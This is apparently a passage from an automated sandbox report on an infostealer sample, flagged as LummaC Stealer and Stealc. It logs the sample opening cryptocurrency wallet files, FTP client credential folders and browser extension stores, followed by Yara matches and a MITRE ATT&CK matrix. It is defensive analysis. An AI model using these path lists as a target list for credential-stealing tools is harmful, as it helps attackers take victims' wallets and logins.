Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BWDRWEEARI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\WDBWCPEFJW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\WDBWCPEFJW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\WDBWCPEFJW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\OVWVVIANZH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\OVWVVIANZH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\WSHEJMDVQC	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BWDRWEEARI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IZMFBFKMEB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\WDBWCPEFJW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\WDBWCPEFJW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\BWDRWEEARI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\IZMFBFKMEB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\OVWVVIANZH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\WDBWCPEFJW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\WSHEJMDVQC	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\BWDRWEEARI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\IZMFBFKMEB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\OVWVVIANZH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\WDBWCPEFJW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\WDBWCPEFJW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\WSHEJMDVQC	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\BWDRWEEARI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\IZMFBFKMEB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\OVWVVIANZH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\WDBWCPEFJW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\WSHEJMDVQC	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\BWDRWEEARI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\IZMFBFKMEB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\OVWVVIANZH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\WDBWCPEFJW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\WSHEJMDVQC	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\WSHEJMDVQC	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\IZMFBFKMEB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\OVWVVIANZH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\BWDRWEEARI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\BWDRWEEARI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\IZMFBFKMEB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\OVWVVIANZH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\WDBWCPEFJW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\WSHEJMDVQC	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\BWDRWEEARI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\BWDRWEEARI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\IZMFBFKMEB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\OVWVVIANZH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\WDBWCPEFJW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\WSHEJMDVQC	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\WSHEJMDVQC	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\BWDRWEEARI
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\IZMFBFKMEB
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\OVWVVIANZH
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\OVWVVIANZH
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\IZMFBFKMEB
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\OVWVVIANZH
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\WDBWCPEFJW
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Directory queried: C:\Users\user\Documents\WSHEJMDVQC

Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe

Directory queried: number of queries: 1538

Source: Yara match	File source: 00000001.00000003.1415508337.00000000011F9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.2346560328.000000000177C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7416, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 3cbc500e8f.exe PID: 3312, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 3cbc500e8f.exe PID: 4684, type: MEMORYSTR

Remote Access Functionality

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: 9c8810ba8c.exe PID: 5700, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 7416, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 3cbc500e8f.exe PID: 3312, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 3cbc500e8f.exe PID: 4684, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 31.2.num.exe.f20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.0.num.exe.f20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.0.num.exe.f20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.c74ef7bd5d.exe.910000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.2.num.exe.f20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.c74ef7bd5d.exe.910000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000022.00000003.2291705404.0000000005350000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.2474881578.0000000001978000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2202241135.000000000057E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.2283064269.0000000000F21000.00000080.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000000.2454419542.0000000000F21000.00000080.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2160499732.0000000004B10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.2470365828.0000000000F21000.00000080.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.2390642371.000000000157B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.2382127807.0000000000911000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2202933789.0000000000911000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000000.2255211546.0000000000F21000.00000080.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.2288121473.00000000013BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: c74ef7bd5d.exe PID: 7580, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1002530001\num.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\num[1].exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	411 Disable or Modify Tools	2 OS Credential Dumping	21 File and Directory Discovery	Remote Services	1 Archive Collected Data	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Windows Service	2 Bypass User Account Control	1 Deobfuscate/Decode Files or Information	LSASS Memory	225 System Information Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Extra Window Memory Injection	2 Obfuscated Files or Information	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
